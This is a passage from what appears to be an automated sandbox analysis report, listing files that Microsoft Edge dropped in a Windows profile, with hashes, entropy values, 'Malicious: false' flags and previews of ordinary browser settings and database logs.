Preview:	...@..@...@.....C.].....@...............x...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".jqumta20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........I...... .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0a9e2df4-b701-4699-b7fd-48c6ac795119.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c5eebf2-d322-44d5-becf-4788b060daed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567242378609127
Encrypted:	false
SSDEEP:	768:Gy2AU7WzXW5w1df4ni8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPNVIw9v1rwX3pRtuW:Gbh7OXWa1dfaiu1ja8PV+vtN
MD5:	4C32A733722A27D18B6B3AB4FBF3B5CE
SHA1:	5AEA812EB4C2D1BABEA9D6F997FC6341236A2D9A
SHA-256:	D0EF572D6C09C2FE4186C44CF10C07492F131F2F8B82022DE7FF5C1250FF86EB
SHA-512:	433701D574C577FFCF9F0294CD7505BAAFC693A78E1FA216C68F28B863F0A4150CEE4146C36A3D40B0BAFE8924D6D74059F12D33ED67A0415A4471D976B77A89
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376861561798631","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376861561798631","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\21f9c6f5-0c44-4917-881a-b888346b9351.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17565), with no line terminators
Category:	dropped
Size (bytes):	17574
Entropy (8bit):	5.488290230835643
Encrypted:	false
SSDEEP:	384:stGPGQSu4EsmICD5Ge3+stsK6XHi5Mw9bGxQwT3j:sQOXu5ICS2t6XHi5NbGiQj
MD5:	86230241CDD67EBF795FF0442E3DD2F3
SHA1:	5FC52C032D6C4DAF06431CE9AF7BF012DA652F82
SHA-256:	7036D386855229253FAF2095079B2429C0081958582574BD44C811E0DA3C7343
SHA-512:	1765BAA85E32485944DCBCF61428815949034E871D91FC532B54976BF8AA0CF2C98B61DF5A2E54C03E320BFC2D118353534B55AF83848AD585AB0EB7B2F2D3F0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\284d97fd-e320-489d-a45a-2af16b190232.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.108213543556842
Encrypted:	false
SSDEEP:	192:stGkdpEsmIaFvrE9k/fwf18MbV+FhbQAFU/PSYJ:stGQEsmICDhkbGxQDj
MD5:	8408295565668079C872AFF7C4D6EC61
SHA1:	6235A23AE34E8073BD659A00B05ED9CA81EEF8A3
SHA-256:	A48EF5AC6DE9888D82FDEF6A170AC7F31346E2E7487E86A26A01738E3DD47CCE
SHA-512:	ACE61A584B9C175D65243BDB41D51D3263B5D700282615E97DE70D1CBC528AB0561C85DA01361F8FB135032610F53F531AFD8E576C0805852AD6947BD9F836EA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\35462cf0-df6f-439e-9596-c46067a4bca8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3fddcb35-c94e-4090-8497-ed80f94c09f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17565), with no line terminators
Category:	dropped
Size (bytes):	17574
Entropy (8bit):	5.488278540388112
Encrypted:	false
SSDEEP:	384:stGPGQSu4EsmICD5Ge3+stsK6XHi5Mw9bGxQwX3j:sQOXu5ICS2t6XHi5NbGiMj
MD5:	E7C52FCF4C1D5BF789051C23368057D0
SHA1:	A64D8503C078A6908779972A797CF030D67552C1
SHA-256:	906BFB78A17DE289C26596E06E33BE069C70CF00B24B68196C3E7431DFE8A588
SHA-512:	EBE885FE86E0E089963AD91994687A3C81186CB1FF1FB78ABD3AA719855CDC4902149D5812A18AD34F022BF76766B24FD73BC984FDC8CA706FC5BE4D5EA8A2D7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\53227088-e1eb-4b4e-87b7-3f0e0601f269.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16622), with no line terminators
Category:	dropped
Size (bytes):	16631
Entropy (8bit):	5.451636820770714
Encrypted:	false
SSDEEP:	384:stGPGQSu4EsmICDhe3+stsK6XHi5MwbbGxQwCj:sQOXu5IC12t6XHi5LbGizj
MD5:	F3062BDBDB49264284902D450DF5F050
SHA1:	68FA2AFD669E9F5273651B5AA0CA149E50768687
SHA-256:	EDEC0FDF9D55C5EE8E4742EE1E4481899D1A015800431D0D1250C1E65B7A80EA
SHA-512:	1E4E50DB76544E68F57D7A7CFD2121A89C752D148A70C70FC00545369A565F1F0BB57ABFBF35C2BBD1440D37A219ADEE7C37EC9101A190F29CC146E8C1B6C65E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6a80ad81-1983-49a8-8133-daf643e89bd0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\86f961c0-8120-470b-9d9b-cafd4316d5bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.560934790753037
Encrypted:	false
SSDEEP:	768:GyjAO7W6w7pLGLPJXW5w1df4ei8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP83GVIw9w:GCr758cPJXWa1dfBiu1jaV3GPy+SHt3x
MD5:	3FCA1DBEB128F0CC0D851B96AB78C40F
SHA1:	CBFC5B53653C82B460A0C9DE8899B7B7ED05084D
SHA-256:	1EB033ABE656038186E71C16DA55331794082D09C13D209EE889A5071CE39C48
SHA-512:	CC7E36E85D787CBAD27407956B26FFFEDCC805F25F7EF4FEFA1B3F74150176C44486A9A31F47A3594F4CD3398D556D7F124E0A1A9DB52725B0857D442DD46D9B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376861561798631","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376861561798631","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9a8ef021-e66d-46bf-8455-646e9459d3c2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554605841201069
Encrypted:	false
SSDEEP:	768:GyjAO7W6w7pLGLPJXW5w1df4ei8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPaVIw9w1k:GCr758cPJXWa1dfBiu1jaHPy+SHt7Ut3
MD5:	F26E8B36E21DDFFB849DFFAC70EFBDBA
SHA1:	6DD5922058320C36A5E1EA9C190F4FE182F8232A
SHA-256:	018EDE3F64248A3A96D30EC0346739403AACE781717CDFB43626CA1C0F2178CB
SHA-512:	EAB9437499C7CDE450903787E45634541B87A7ACFA592E84C1F8CF82E97BFAA0521F340A00D2CC627ADD755D2C4D8460F0595AB4E8D71CA68128AA11BBA805C4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376861561798631","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376861561798631","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.242323950358862
Encrypted:	false
SSDEEP:	6:HGrf7UBR1N723oH+Tcwtp3hBtB2KLlVGrfr+q2PN723oH+Tcwtp3hBWsIFUv:8+xaYebp3dFLW+vVaYebp3eFUv
MD5:	F3ACE5BBD108831FE2038078808CBA79
SHA1:	DBF3FD52770F79C2644FD733E4853429211B9BE4
SHA-256:	D523AA35DB908E38C0F2C930BB0BCDACAD50189DBA6B86BB80875DF06A57A7A4
SHA-512:	C0742107EF45A66C05529C8C810CEF80252C9B9A4097FCD8D2F82B8F583C58EBAC10594DC793F638E7B9E99300ABFDFB6F65F89D356B67719A050CA24F5C966B
Malicious:	false
Preview:	2024/11/23-13:52:48.304 113c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/23-13:52:48.329 113c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222870513747349
Encrypted:	false
SSDEEP:	24576:IbPMZpVJfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVJfx2mjF
MD5:	EFBFFC5A51FAE91716F54D23B46EB3FE
SHA1:	CEAEA0AF03B7C9B3C5A1F74F5F95D187683B9FDE
SHA-256:	34883B35D336D37384768A4EFD16CDF83C5E2D9A09A9441E409812C7C5E0EAA1
SHA-512:	17ED83496A46B1C26CC3819266093AE7D1BABFFFEA0C2BB793449D3DDB0D8EB3558BFCA7A663CA0357ECDB8016C1824D746382BD8486A617006B6E9B16E16C9A
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.08780561169513
Encrypted:	false
SSDEEP:	6:HGrfjwSVq2PN723oH+Tcwt9Eh1tIFUt8YGrf9gZmw+YGrfCwSIkwON723oH+Tcw+:ZSVvVaYeb9Eh16FUt8bg/+8wSI5OaYe8
MD5:	52360897911B4C67354A17D68E14F637
SHA1:	0F708F0ACD59E3CD2A1C3FA6589F5232DD7F0997
SHA-256:	EF6DE2A9B0BA9E495B2D6B46DAAADF69C7238374D5FB7F42A72E6F5264D6142D
SHA-512:	DC02FD05C51B74486F497073D49251D3EFC9108D34E39C24FBAD35A3A238A441E73CE510DC1DEEE09071D33C1F9F700AB51CF911BBE2C15135FC2A99192A5061
Malicious:	false
Preview:	2024/11/23-13:52:48.114 20e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-13:52:48.116 20e0 Recovering log #3.2024/11/23-13:52:48.126 20e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.08780561169513
Encrypted:	false
SSDEEP:	6:HGrfjwSVq2PN723oH+Tcwt9Eh1tIFUt8YGrf9gZmw+YGrfCwSIkwON723oH+Tcw+:ZSVvVaYeb9Eh16FUt8bg/+8wSI5OaYe8
MD5:	52360897911B4C67354A17D68E14F637
SHA1:	0F708F0ACD59E3CD2A1C3FA6589F5232DD7F0997
SHA-256:	EF6DE2A9B0BA9E495B2D6B46DAAADF69C7238374D5FB7F42A72E6F5264D6142D
SHA-512:	DC02FD05C51B74486F497073D49251D3EFC9108D34E39C24FBAD35A3A238A441E73CE510DC1DEEE09071D33C1F9F700AB51CF911BBE2C15135FC2A99192A5061
Malicious:	false
Preview:	2024/11/23-13:52:48.114 20e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-13:52:48.116 20e0 Recovering log #3.2024/11/23-13:52:48.126 20e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46190060112641756
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu+XwD:TouQq3qh7z3bY2LNW9WMcUvBu+XwD
MD5:	1C7C71000BFEE5D5DEB63D4599E6DC85
SHA1:	190439CE10CA3BD65F52D93FDEE014DBCA2DF322
SHA-256:	34613449FB689E0E398DD0779B7DCEFD745AD2BBF66435D4550AC3B81760C58C
SHA-512:	6E4EE0DA177F59362FEF49B7D6EE3E868E90F48964F695AE4CFA03387CC110896D310F7FD85E7D015241B85714B7E79628BB3AB30D1DF15C5CECCD8B02313101
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
